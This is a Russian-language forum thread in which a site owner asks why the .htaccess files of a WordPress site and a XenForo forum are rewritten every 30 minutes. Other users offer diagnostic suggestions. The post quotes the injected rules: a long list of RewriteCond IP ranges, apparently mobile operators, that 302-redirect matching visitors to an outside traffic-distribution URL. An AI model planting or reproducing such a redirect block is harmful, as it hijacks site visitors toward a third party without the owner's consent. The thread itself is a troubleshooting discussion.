одна смс WordPress вторая Xenforo 1.4 перезапись идет примерно каждые 30 минут, чем перезаписывает не знаю

Цитата
Coder пишет: Цитата burchrut пишет: чем перезаписывает не знаю Что остается в htaccess после перезаписи. Что в логах. Странно, что одинаковая проблема на разных движках. Возможно, используете один скрипт и, если расположены на одном хостинге - смотрите шелл или взлом доступа, или что/кто делал с сайтами. По предоставленной вами информации гадать можно много и широко.

вот 1/5 часть записи которую оставляет в htaccess
RewriteEngine on
#operator
RewriteCond %{REQUEST_FILENAME} !message_for_oss.pdf
RewriteCond %{REMOTE_ADDR} ^185.3.3[2-5] [OR]
RewriteCond %{REMOTE_ADDR} ^185.3.3[2-3] [OR]
RewriteCond %{REMOTE_ADDR} ^185.3.3[4-5] [OR]
RewriteCond %{REMOTE_ADDR} ^193.201.231.2 [OR]
RewriteCond %{REMOTE_ADDR} ^37.28.185 [OR]
RewriteCond %{REMOTE_ADDR} ^37.28.187 [OR]
RewriteCond %{REMOTE_ADDR} ^37.29.86 [OR]
RewriteCond %{REMOTE_ADDR} ^37.29.118 [OR]
RewriteCond %{REMOTE_ADDR} ^37.29.87 [OR]
RewriteCond %{REMOTE_ADDR} ^46.229.132 [OR]
RewriteCond %{REMOTE_ADDR} ^46.229.133 [OR]
RewriteCond %{REMOTE_ADDR} ^46.229.134 [OR]
RewriteCond %{REMOTE_ADDR} ^46.229.140 [OR]
RewriteCond %{REMOTE_ADDR} ^46.229.141 [OR]
RewriteCond %{REMOTE_ADDR} ^46.229.142 [OR]
RewriteCond %{REMOTE_ADDR} ^46.229.142.(?:12[8-9]|1[3-9][0-9]|25[0-5]|2[0-4][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^46.232.20[2-3] [OR]
RewriteCond %{REMOTE_ADDR} ^78.25.12[0-3] [OR]
RewriteCond %{REMOTE_ADDR} ^78.25.(?:8[8-9]|9[0-1]) [OR]
RewriteCond %{REMOTE_ADDR} ^78.25.92 [OR]
RewriteCond %{REMOTE_ADDR} ^78.25.93 [OR]
RewriteCond %{REMOTE_ADDR} ^78.25.93 [OR]
RewriteCond %{REMOTE_ADDR} ^78.25.94 [OR]
RewriteCond %{REMOTE_ADDR} ^78.25.95 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.0.228 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.1.19[2-5] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.1.19[6-9] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.1.20[0-7] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.1.(?:20[8-9]|21[0-5]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.[2-3] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.21 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.24.249 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.24.251 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.24.252 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.24.(?:6[4-9]|[7-9][0-9]|12[0-7]|1[0-1][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.25 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.28 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.34.(?:12[8-9]|1[3-9][0-9]|25[0-5]|2[0-4][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.35 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.36 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.36.(?:[0-9]|[1-9][0-9]|12[0-7]|1[0-1][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.36.(?:12[8-9]|1[3-9][0-9]|25[0-5]|2[0-4][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.37 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.38 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.41 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.43.(?:12[8-9]|1[3-9][0-9]|25[0-5]|2[0-4][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.4[4-7] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.4[4-5] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.4[6-7] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.48.(?:[0-9]|[1-9][0-9]|12[0-7]|1[0-1][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.48.(?:12[8-9]|13[0-9]|14[0-3]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.48.(?:16[0-9]|17[0-5]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.49.(?:[0-9]|3[0-1]|[1-2][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.49.209 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.49.212 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.5[2-5] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.52.10 [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.52.3[4-5] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.52.3[6-9] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.52.4[0-7] [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.[8-9] [OR]
RewriteCond %{REMOTE_ADDR} ^83.169.25[2-5] [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.155 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.16[4-5] [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.176 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.177 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.179 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.183 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.184 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.184.(?:[0-9]|[1-9][0-9]|12[0-7]|1[0-1][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.185 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.186 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.189 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.191.(?:12[8-9]|1[3-9][0-9]|25[0-5]|2[0-4][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.192 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.193 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.194 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.195 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.224.(?:[0-9]|6[0-3]|[1-5][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.227 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.228 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.229 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.230 [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.231.(?:[0-9]|[1-9][0-9]|12[0-7]|1[0-1][0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.231.(?:12[8-9]|1[3-4][0-9]|15[0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.23[2-3] [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.23[4-5] [OR]
RewriteCond %{REMOTE_ADDR} ^85.26.241 [OR]
RewriteCond %{REMOTE_ADDR} ^37.29.88 [OR]
RewriteCond %{REMOTE_ADDR} ^37.29.40 [OR]
RewriteCond %{REMOTE_ADDR} ^37.29.41 [OR]
RewriteCond %{REMOTE_ADDR} ^37.29.(?:4[8-9]|5[0-5]) [OR]
RewriteCond %{REMOTE_ADDR} ^37.29.(?:9[6-9]|11[0-1]|10[0-9]) [OR]
RewriteCond %{REMOTE_ADDR} ^83.149.19 [OR]
RewriteCond %{REMOTE_ADDR} ^46.29.19[2-9]
RewriteRule ^(.*)$ http://upayer.ru/td/go.php?sid=2 [L,R=302]

.htaccess находится в корне сайта или в папке доступной для записи?

Ясно.  На хостинге файл с расширением LOG есть? Что в нём ?

Цитата
desertFox пишет: Ясно. На хостинге файл с расширением LOG есть? Что в нём ?

LOG не могу найти

burchrut, делайте то что я посоветовал, это будет самый надежный вариант.